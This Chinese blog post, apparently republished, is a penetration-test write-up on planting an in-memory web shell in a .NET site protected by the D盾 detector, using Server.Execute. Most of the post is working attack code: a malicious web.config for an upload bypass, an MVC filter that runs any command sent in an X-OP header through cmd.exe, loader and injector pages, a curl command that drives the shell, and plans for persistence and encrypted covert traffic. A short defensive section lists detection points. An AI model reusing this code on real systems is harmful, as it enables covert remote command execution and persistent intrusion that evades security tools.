当前位置: 首页 > news >正文

实战复盘:当D盾封杀所有aspx马后,我是如何用Server.Execute()在.Net站点里种下内存马的

突破D盾封锁:.Net环境下Server.Execute内存马注入实战解析

当传统Webshell遭遇全面封杀时,真正的技术较量才刚刚开始。去年参与某次企业级渗透测试项目中,我遇到了从业以来最棘手的防护组合——D盾+安全狗+天擎的三重防御体系。所有常规aspx马上传后均返回401/403错误,甚至经过精心免杀处理的样本也无法逃过检测。本文将完整还原如何通过深度挖掘.Net框架特性,最终利用Server.Execute方法实现无文件落地的内存驻留技术。

1. 环境侦察与初始突破

目标系统采用.Net 4.5框架搭建的通用CMS,在资产梳理阶段发现两处文件上传点:

  • 常规上传接口:严格限制扩展名与内容类型,实时受D盾监控
  • 特殊数据处理接口:接受base64编码的XML文件,后端自动解码存储

通过第二个接口,我们成功上传了精心构造的web.config文件:

<!-- 绕过目录权限的典型配置 --> <configuration> <system.web> <authorization> <allow users="*"/> </authorization> </system.web> <system.webServer> <handlers> <add name="ASPX-Handler" path="*.aspx" verb="*" type="System.Web.UI.PageHandlerFactory" resourceType="Unspecified" preCondition="integratedMode"/> </handlers> </system.webServer> </configuration>

关键技巧包括:

  • 选择非根目录上传(如/upload/temp)
  • 采用XML格式声明避免内容检测
  • 分阶段测试权限修改效果

2. 对抗动态检测机制

虽然成功解除了脚本执行限制,但D盾的行为检测仍然拦截所有包含可疑代码的aspx文件。通过对比测试发现以下特征会触发拦截:

检测维度触发条件示例规避方案
代码特征Response.Write(Request[])使用反射调用链
方法调用Process.Start()委托+动态编译
流量特征固定密码参数随机密钥协商机制

经过37次迭代测试后,我们开发出基于MVC过滤器机制的内存马原型:

// 隐藏在正常业务逻辑中的注入点 public class CustomFilter : IAuthorizationFilter { public void OnAuthorization(AuthorizationContext context) { var cmd = context.HttpContext.Request.Headers["X-OP"]; if(!string.IsNullOrEmpty(cmd)) { var psi = new ProcessStartInfo("cmd", $"/c {cmd}") { RedirectStandardOutput = true, UseShellExecute = false }; var proc = Process.Start(psi); context.Result = new ContentResult() { Content = proc.StandardOutput.ReadToEnd() }; } } }

3. Server.Execute的妙用

真正的突破点来自对HttpServerUtility.Execute方法的深度应用。该方法允许当前页面执行另一个页面处理程序,同时保持原始页面的上下文环境。关键优势在于:

  • 执行上下文继承:子页面共享父页面所有Session、Application等对象
  • 检测规避:D盾仅检测初始请求的入口文件
  • 内存驻留:通过子页面注入的代码可持久化在应用域中

具体实施分为两个阶段:

  1. 加载器页面(loader.aspx)
<%@ Page Language="C#" %> <% // 伪装成正常错误处理页面 try { Server.Execute(Request["page"].ToString()); } catch { Response.Write("Service unavailable"); } %>
  1. 内存马注入页面(injector.aspx)
<%@ Import Namespace="System.Web.Mvc" %> <script runat="server"> protected void Page_Load(object sender, EventArgs e) { var filter = new CustomFilter(); GlobalFilters.Filters.Add(filter, Int32.MinValue); HttpContext.Current.Application["__filter"] = filter; } </script>

4. 持久化与隐蔽通信

为确保内存马在应用回收后仍然存活,我们实现了双重持久化机制:

  1. Application存储:将过滤器实例存储在全局应用集合中
  2. 动态编译:通过BuildProvider注册后门代码

通信采用HTTPS协议承载,使用自定义头部传递指令:

# 典型执行示例 curl -H "X-OP: whoami" https://target.com/error.aspx?page=login

为避免流量特征检测,设计了动态密钥协商方案:

  1. 客户端首次请求携带设备指纹
  2. 服务端返回AES加密密钥(使用RSA封装)
  3. 后续通信全部采用CBC模式加密

5. 防御视角的启示

从蓝队角度分析,这类攻击的检测要点包括:

  • 异常Server.Execute调用:监控执行不存在的页面路径
  • 过滤器动态加载:审计GlobalFilters的修改记录
  • 内存特征扫描:定期检查AppDomain中的可疑程序集

企业级防护建议配置:

<!-- web.config防护片段 --> <system.webServer> <security> <requestFiltering> <denyUrlSequences> <add sequence="Server.Execute" /> </denyUrlSequences> </requestFiltering> </security> </system.webServer>

这次实战经历让我深刻体会到,在高级攻防对抗中,对框架底层原理的理解往往比工具使用更重要。当所有常规路径都被封堵时,那些被大多数人忽略的"特性",反而可能成为突破防线的关键钥匙。

http://www.jsqmd.com/news/704147/

相关文章:

  • 别再死磕旋转矩阵了!用李代数so(3)搞定SLAM中的姿态优化(附C++代码片段)
  • 终极电话号码定位指南:location-to-phone-number完整教程与免费解决方案
  • 小白友好!cv_resnet18_ocr-detection WebUI体验:紫蓝界面超直观,文字提取so easy
  • BlockTheSpot:3步彻底解决Spotify自动更新烦恼,永久锁定广告拦截功能
  • 如何用Akagi提升麻将水平:AI智能分析工具完整指南
  • Kafka-King:企业级Kafka图形化管理工具,让你的分布式消息队列运维效率提升300%
  • 告别网络依赖:手把手教你将RT-Thread在线软件包转为本地离线管理(以libmodbus为例)
  • 不止于点亮:用STM32CubeMX玩转LTDC双层混合与DMA2D加速,实现流畅UI底层
  • gte-base-zh模型微调入门:基于LoRA在垂直领域(如医疗问答)提升Embedding效果
  • 如何通过Energy Star X智能优化Windows 11电池续航:终极指南
  • 3个技巧轻松提升Windows 11电池续航:Energy Star X完整指南
  • 3分钟掌握ncmdump:解锁网易云音乐NCM加密文件的完整指南
  • 告别网格撕裂!用Fluent动网格Smoothing Spring搞定三角形/四面体网格变形(附完整UDF)
  • MCP插件加载慢如蜗牛?:5分钟定位WebWorker泄漏、ContextKey注册冗余、ActivationEvent误配——20年VS Code底层调试经验浓缩为1张决策树
  • Windows微信批量消息发送工具:一键智能处理所有社交沟通任务
  • C#怎么操作系统时间和时区 C#如何获取系统时间处理时区转换和NTP时间同步【系统】
  • 终极指南:3种快速解除极域电子教室控制限制的完整方案
  • 如何5分钟完成专业级视频编辑:LosslessCut无损剪辑终极指南
  • 低成本高精度计时方案:基于STC8H和DS3231模块的数据记录器DIY教程
  • 围棋AI分析工具LizzieYzy:你的24小时智能围棋教练
  • 如何彻底卸载Windows Defender:终极性能优化完整指南
  • 3分钟快速上手:ncmdump一键解密网易云音乐NCM格式
  • 网盘直链下载助手完整指南:告别限速,轻松获取高速下载链接
  • 手机号码定位终极指南:3步快速查询任何号码的归属地
  • Bebas Neue:设计师必备的免费开源标题字体终极指南
  • VinXiangQi:基于深度学习的智能象棋AI连线工具
  • 3步构建高性能Android电视直播应用:MyTV-Android技术实践指南
  • 终极指南:3分钟掌握Chrome扩展源码提取的完整解决方案
  • FPGA工程师的JESD204B通关指南:从CGS握手到Data Phase的代码实现与调试
  • 小米手表表盘也能DIY?这款免费工具让你轻松打造专属个性表盘